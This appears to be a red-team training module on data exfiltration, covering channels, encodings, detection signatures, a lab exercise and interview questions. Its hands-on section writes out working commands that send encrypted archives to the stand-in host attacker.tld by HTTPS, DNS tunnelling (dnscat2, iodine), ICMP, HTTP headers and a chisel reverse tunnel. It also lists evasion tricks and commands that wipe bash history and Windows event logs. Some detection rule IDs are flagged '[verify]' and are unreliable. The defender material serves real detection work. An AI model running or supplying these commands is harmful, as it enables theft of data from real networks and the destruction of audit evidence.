Data Exfiltration
You’ve collected the goods — files, database dumps, secrets, screenshots. Now you have to get them out. Every byte that leaves the network is a detection opportunity: DLP, NetFlow, full-packet capture, TLS decryption appliances, DNS query logs, proxy logs. The exfiltration chapter of every APT report looks the same — operators split the data, encode it, route it over protocols the defender isn’t watching carefully (DNS, ICMP, HTTPS to CDNs), or hide it in plain sight inside legitimate-looking traffic. This module walks the actual channels, the actual encodings, and the actual detection signatures.
The Core Concept
Section titled “The Core Concept”Exfiltration is the problem of moving bytes from a system the attacker controls to a system the attacker controls, across a network the defender monitors. Every channel has a trade-off:
Channel Bandwidth Detection Difficulty Notes─────────────────────────────────────────────────────────────────────HTTPS to attacker High Easy — SNI / cert Obvious egressHTTPS to CDN High Hard — same as legit S3/Azure/GDrive/OneDriveDNS A queries ~200 B/query Medium — rate spikes dnscat2 / iodineDNS TXT queries ~1.5 KB/query Medium — large TXT iodineICMP echo payload Variable Medium — payload size Many NIDS strip dataHTTP header Low Hard — fits in headers Long header chainsSteganography Very low Hard — image looks fine PNG/JPG/MP3 LSBWebDAV / SMB High Medium — protocol Often allowedEmail High Easy — DLP Most orgs scanCloud sync High Hard — looks like a user OneDrive/Google DriveTLS to attacker High Medium — JA3/JA4 Cert pinning / SNIDomain-fronted High Hard — looks like CDN Mostly dead in 2024WebSocket tunnel High Medium — long-lived WSS for C2 + exfilThe mature exfil plan combines multiple channels: stage data on the foothold, chunk it, encode it, push small chunks over DNS/ICMP as “test pings”, and large chunks over HTTPS-CDN. The defender’s hardest problem is that every one of those channels is also legitimate.
How It Works
Section titled “How It Works”- Stage the data — collect files into a single archive, compress (
7z a -mx9 -p<password> out.7z), and optionally encrypt. Compression increases entropy and reduces size; encryption hides the content from DLP. But high entropy is itself a detection signal — defenders trigger onentropy > 7.5in a chunk of plaintext-protocol traffic. - Choose a channel — based on what egress the org allows. Most orgs allow outbound 443 (HTTPS), 53 (DNS), 123 (NTP), 80 (HTTP), 5985 (WinRM). SMB (445) is often blocked at the egress proxy but allowed internally. The channel dictates detection.
- Encode for the channel — DNS labels are alphanumeric+hyphen, max 63 chars/label, max 253 chars total. Base32 fits perfectly (
a-z2-7). For HTTP headers, base64. For TLS SNI, plain ASCII. For image steganography, LSB embedding in PNG/JPG. - Chunk and rate-limit — split the archive into N-byte chunks (DNS: 100 B/query → 1000 queries for 100KB; HTTPS: 1 MB/request → 10 requests for 10 MB). Spread the chunks over time to avoid rate-spike alerts —
sleep $((RANDOM % 30))between queries. - Reassemble at the receiver — the attacker’s server collects chunks and reassembles in order. A sequence number in each chunk handles out-of-order arrival.
- Cover tracks — delete the staging archive, clear DNS cache (
ipconfig /flushdns), clear log files (with care — log deletion is its own detection).
Common Techniques
Section titled “Common Techniques”| Technique | Channel | Bandwidth | Detection Difficulty |
|---|---|---|---|
| HTTPS POST to attacker | HTTPS | High | Easy — SNI / cert / IP rep |
| HTTPS POST to cloud storage | HTTPS (S3/Azure/OneDrive) | High | Hard — looks like legit user |
| DNS A query (label as payload) | DNS | ~200 B/query | Medium — high query rate |
| DNS TXT query (iodine) | DNS | ~1.5 KB/query | Medium — large TXT answers |
| DNS over HTTPS (DoH) | HTTPS/443 | High | Hard — encrypted DNS |
| ICMP echo payload | ICMP | Variable | Medium — payload inspection |
| HTTP header exfil (Cookie, UA) | HTTP | Low | Hard — fits in headers |
| Steganography (PNG LSB) | Anywhere you can upload a file | Very low | Hard — image looks fine |
| WebSocket tunnel | WSS/443 | High | Medium — long-lived session |
| Email (SMTP/IMAP) | SMTP | High | Easy — DLP scans body |
| WebDAV / SMB over Internet | 445 / WebDAV | High | Medium — protocol is uncommon |
| ICMP tunnel (ptunnel-ng) | ICMP | Low | Hard — looks like ping |
| Domain-fronting (deprecated) | HTTPS/443 | High | Hard (in 2024 mostly broken) |
| Cloud sync (OneDrive/Drive) | HTTPS | High | Hard — looks like user |
Hands-On Commands
Section titled “Hands-On Commands”# === STAGE ===# Compress and encrypt on target (Linux or WSL)7z a -mx9 -p<password> /tmp/staged.7z /opt/data/# Or tar+openssl:tar cf - /opt/data/ | openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:Hunter2 -out /tmp/staged.tar.enc# Split into chunks for channel transportsplit -b 100 /tmp/staged.tar.enc /tmp/chunk.# Generates /tmp/chunk.aa /tmp/chunk.ab ...
# === HTTPS exfil to attacker box ===# Simple: just curlcurl -X POST --data-binary @/tmp/staged.tar.enc https://attacker.tld/upload# With chunking + spread (anti-rate-spike):for f in /tmp/chunk.*; do curl -sk -X POST --data-binary @"$f" "https://attacker.tld/u?seq=$(basename $f)" & sleep $((RANDOM % 30))done
# === HTTPS exfil via cloud (looks like a legit user) ===# AWS S3 PUT — pre-signed URLcurl -X PUT -T /tmp/staged.tar.enc \ "https://bucket.s3.amazonaws.com/file.tar.enc?X-Amz-Signature=..."# Or via Azure blob:curl -X PUT -T /tmp/staged.tar.enc \ -H "x-ms-blob-type: BlockBlob" \ -H "Authorization: SharedKey acct:..." \ "https://storacct.blob.core.windows.net/data/file.tar.enc"# Or via Google Drive API (use a service account or OAuth refresh)
# === DNS exfil (dnscat2 server) ===# On attacker:ruby dnscat2.rb attacker-domain.tld# On target:dnscat2 --domain attacker-domain.tld --secret 0xdeadbeef# Or via PowerShell: Invoke-DNSExfilData.ps1 (PowerSploit)# Each DNS query carries 100-200 bytes in the subdomain label (base32):# <chunk>.seq001.attacker-domain.tld A → 1.2.3.4# <chunk>.seq002.attacker-domain.tld A → 1.2.3.4# Attacker parses labels and reassembles.
# === DNS exfil (iodine — higher bandwidth, supports IP-over-DNS) ===# On attacker:iodined -f -P Hunter2 172.16.0.1 tunnel.attacker.tld# On target:iodine -f -P Hunter2 tunnel.attacker.tld# Now you have a TUN interface that routes over DNS — full IP.# Throughput: 50-100 KB/s on a clean network.
# === ICMP exfil ===# Plain ICMP echo:for f in /tmp/chunk.*; do ping -c 1 -p $(xxd -p -c 16 "$f" | tr -d '\n') attacker.tld sleep 1done# Or via ptunnel-ng (tunnel TCP over ICMP):# On attacker: ptunnel-ng -r<attacker-ssh-port> -R# On target: ptunnel-ng -p attacker.tld -l 2222 -r 22 -R 22# Then: ssh -p 2222 user@localhost (tunneled over ICMP)
# === HTTP header exfil ===# Hide data in Cookie / User-Agent / X-Forwarded-For# Attacker: nginx logs all headers to a file# Target: chunk and emit one chunk per requestchunk=$(head -c 1024 /tmp/staged.tar.enc | base64)curl -sk -H "Cookie: data=$chunk" https://attacker.tld/# Or split into smaller pieces in the User-Agent:for chunk in $(base64 -w0 /tmp/staged.tar.enc | fold -w 128); do curl -sk -A "$chunk" https://attacker.tld/img/favicon.ico sleep 5done
# === Steganography — LSB embed in PNG ===# Image hosts the data in least-significant bits of pixel values# steghide (JPG/BMP/WAV/AU):steghide embed -cf cover.jpg -ef /tmp/staged.tar.enc -p Hunter2 -sf exfil.jpg# zsteg (PNG, raw LSB analysis):# On the defender side: zsteg exfil.png reveals hidden data
# === WebSocket tunnel (chisel over WSS) ===# Same as PE4's chisel — but configure client to use --auth and WSS:# On attacker (chisel server with TLS):chisel server --port 443 --tls-key /etc/cert/key.pem --tls-cert /etc/cert/cert.pem --reverse# On target (chisel client over WSS):chisel client wss://attacker.tld:443 --auth user:pass R:1080:socks# Attacker: SOCKS proxy on 1080, traffic flows in WSS frames, looks like web
# === Cloud sync via rclone (looks like a user syncing files) ===rclone copy /tmp/staged.tar.enc gdrive:backup/ --progressrclone copy /tmp/staged.tar.enc onedrive:Personal/ --progress
# === Cover tracks ===rm -f /tmp/staged.tar.enc /tmp/chunk.*# Linux: clear bash history + auditd loghistory -c && cat /dev/null > ~/.bash_history# Windows: wevtutil cl System ; wevtutil cl Security# Caution — log clearing is its own EID 1102 detection.Detection — Defender View
Section titled “Detection — Defender View”Suricata / Zeek / NIDS:
- DNS tunnel detection — long DNS queries (label length > 50), high entropy labels (Shannon > 4.0), DNS A queries with unusually high rate from a single host (50+ queries/minute), DNS TXT queries with large response (>500 bytes), DNS queries to non-corporate domains. Suricata has built-in rules for
dnscat2(SID 2220014 [verify]) andiodine(SID 2220023 [verify]). - ICMP exfil — ICMP echo requests with payload size > 64 bytes (default
pingis 56), high rate of ICMP to a single destination, ICMP echoes with content matching base64. Zeek has aweird.brodetection for anomalous ICMP. - TLS anomaly — outbound TLS to a non-CDN IP, low TLS handshake success rate, SNI mismatch with cert CN, JA3/JA4 fingerprint match against known malicious toolsets (Cobalt Strike default =
72 a2 a1 bd c4 21 20 c2 14 9e c1 4a 71 0b bc bc 64 5d a3 e4 9d 7a a1 90 88 3e 60 90 1e 88 78 88— that’s the JA3, varies by CS version). - HTTP header anomaly — User-Agent longer than 200 chars, Cookie longer than 4 KB, X-Forwarded-For with non-IP content.
Wazuh / SIEM:
- DNS query rate spike from a single host in a 1-minute window — Sigma rule 920/331 [verify].
- Outbound HTTPS to a domain registered in the last 7 days — Sigma rule 920/332 [verify].
rcloneprocess execution — should not appear on most workstations.wevtutil clexecution — log clearing, EID 1102 follows.
Sysmon:
- EID 22 — DnsEvent — every DNS resolution logged. Look for high rate of unique FQDNs to non-CDN/non-corp domains.
- EID 3 — NetworkConnect — outbound to non-standard ports.
- EID 1 — ProcessCreate —
rclone.exe,curl.exewith--data-binary,7z.exewith-p(password flag).
Windows Event Log:
- EID 1102 — Audit log cleared. Always fires on
wevtutil cl. Sigma rule should alert. - EID 5156 — Windows Filtering Platform blocked a connection (relevant when exfil blocked by firewall).
MITRE ATT&CK:
- T1041 — Exfiltration Over C2 Channel
- T1048 — Exfiltration Over Alternative Protocol
- T1048.001 — Symmetric Encrypted Non-C2 Protocol (SCP, etc.)
- T1048.002 — Asymmetric Encrypted Non-C2 Protocol (HTTPS to cloud)
- T1048.003 — Unencrypted Non-C2 Protocol (DNS, ICMP)
- T1052 — Exfiltration Over Physical Medium (USB, etc.)
- T1567 — Exfiltration Over Web Service
- T1567.001 — Exfiltration to Code Repository (GitHub)
- T1567.002 — Exfiltration to Cloud Storage (S3, Drive, OneDrive)
- T1029 — Scheduled Transfer (chunked over time)
- T1030 — Data Transfer Size Limits
- T1030.001 — Data Transfer Size Limits: Small Data Transfers
- T1537 — Transfer Data to Cloud Account
- T1071 — Application Layer Protocol
- T1071.004 — DNS
- T1571 — Non-Standard Port
- T1572 — Protocol Tunneling
- T1573 — Encrypted Channel
- T1090 — Proxy (multi-hop exfil via compromised relay)
Wazuh rule 920/330 [verify] — Outbound to new domain (registered recently). Wazuh rule 920/331 [verify] — DNS query rate anomaly.
Evasion Techniques
Section titled “Evasion Techniques”Use legitimate cloud destinations. Egress to S3 / OneDrive / Google Drive looks identical to a user syncing files. The traffic is HTTPS to a known CDN IP. The user-agent matches official sync clients (rclone, onedrive, gdrive). Detection requires user-behavior analytics — “is this user suddenly uploading 50 GB?” — which many orgs don’t have.
TLS 1.3 with ECH (Encrypted Client Hello). ECH encrypts the SNI inside the handshake, so the NIDS cannot see which hostname the client requested — only the IP. Defeats SNI-based blocking. Supported by Firefox (default-on) and Chromium (configurable). Not yet supported by many corporate TLS inspection middleboxes.
Domain-fronting (mostly dead). Connect to cdn.example-cdn.com with SNI=cdn.example-cdn.com but request host header = attacker.tld served by the same CDN. The NIDS sees only the SNI to the CDN, not the inner host. Killed by major CDNs (Google, AWS, Azure) between 2018-2022 but still works on some smaller CDNs and Tor.
Chunk + slow drip. Split into 1 KB chunks, send one per 30 seconds over 24 hours. Total: ~2.8 MB/day, but no rate spike. Detection requires “byte volume per source per day” analytics with high thresholds.
Steganography. Embed the data in cover images or PDFs. The image passes any visual inspection; the LSBs hold the payload. Detection requires stegdetect or zsteg to scan every uploaded image, which most orgs don’t do. Counter: scan high-volume images (avatars, attachments) for entropy anomaly in LSB plane.
DNS over HTTPS (DoH). Route DNS queries via HTTPS to a DoH provider (Cloudflare 1.1.1.1, Google 8.8.8.8). The NIDS sees only the DoH server, not the queries. Counter: block or rate-limit outbound DoH endpoints.
ICMP payload obfuscation. Many NIDS inspect ICMP only for ping patterns. Custom ICMP types (or just larger payloads) escape. Counter: full-packet capture and ICMP payload entropy analysis.
Domain generation algorithm (DGA). Instead of exfiltrating to a fixed attacker domain, use a DGA — register a new domain daily/hourly, exfil to that domain, drop it. Defenders must score domain names against DGA-classifiers (which have ~95% recall at best).
| Evasion | What it bypasses | Defense |
|---|---|---|
| HTTPS to cloud storage | Egress allowlist of corp domains | Outbound allowlist at proxy; analytics on upload volume per user |
| TLS 1.3 + ECH | SNI inspection | Endpoint telemetry (proxy = TLS inspection) |
| Domain-fronting | SNI match against blocklist | Most CDNs now block; verify the egress can’t be fronted |
| Drip-feeding chunks | Rate-based alerts | Total-volume-per-day analytics + entropy anomaly |
| Steganography (image LSB) | File content inspection | Stegdetect / zsteg on all images; entropy in LSB plane |
| DoH (1.1.1.1 / 8.8.8.8) | DNS query logs | Block outbound DoH endpoints |
| ICMP tunnel | “ping is normal” | ICMP payload size > 64 alert; full-packet capture |
| JA3/JA4 fingerprint rotation | JA3 allowlist / blocklist | Rotate fingerprint via mTLS / Cipher suite order changes |
⚠️ What caught me: I exfiltrated via DNS — base32 chunks, 100B/query, spread over an hour. The customer’s NIDS missed it because they didn’t have a rule on label length > 50. The catch came from their DNS resolver’s logs: a single host made 1500+ queries to a single non-corporate domain in an hour. The hunt query was “queries-per-host-per-domain-per-hour > 1000”, and I tripped it. Lesson: rate is detectable across multiple telemetry layers (NIDS, resolver, host EID 22). The defender doesn’t need every layer — they need one. Spread by varying destination domain (DGA), not just by time.
Lab Practice
Section titled “Lab Practice”VMs: an isolated lab with a Linux attacker box, a Windows victim with a 50MB “secret” file, and a Suricata NIDS on a tap port.
Setup: install Suricata with Emerging Threats Open ruleset, configure eve.json output. Enable DNS query logging on the Windows victim (Sysmon EID 22).
Objective: exfiltrate 50MB via four different channels — (1) direct HTTPS, (2) DNS A-query tunneling (use dnscat2 or iodine), (3) ICMP tunneling, (4) image steganography. For each channel, document which Suricata / Wazuh / Sysmon events fire.
Expected flag format: flag{exfil_4channels_50MB_dns_icmp_https_stego}.
Detection that should fire:
- Direct HTTPS — Suricata SID on new TLS cert / new domain (if rules include reputation feeds)
- DNS tunnel — Suricata SID 2220014/2220023 (dnscat2/iodine); high DNS query rate from one host in 1 minute
- ICMP tunnel — ICMP echo payload > 64 bytes; high rate
- Steganography — requires explicit
zsteg/stegdetectscan; usually missed at network level
Interview Questions
Section titled “Interview Questions”Conceptual: explain why DNS is operationally attractive for exfiltration but limited in bandwidth. What is the precise per-query ceiling, and what makes iodine/dnscat2 push past it?
Technical: walk through the operational difference between exfil over HTTPS to attacker.tld and HTTPS to S3. What does the defender see on the wire for each, and what is the specific detection the S3 path removes?
Scenario: you have 10 GB to exfiltrate in 24 hours. The target network blocks outbound 445, 3389, 22, and logs DNS queries. Describe three channels you could use, the rate at which you would send on each, and the trade-off for each.
Compare domain-fronting and TLS 1.3 + ECH. Why is domain-fronting mostly dead in 2024 while ECH is just getting adopted? What is the operational difference from the defender’s perspective?
Conceptual: steganography is often described as “low-bandwidth but undetectable.” Both halves of that statement are partially false. Why?
Related Modules
Section titled “Related Modules”→ C8 (C2 Channels) · E15 (Anti-Analysis) · M15 (Memory Forensics)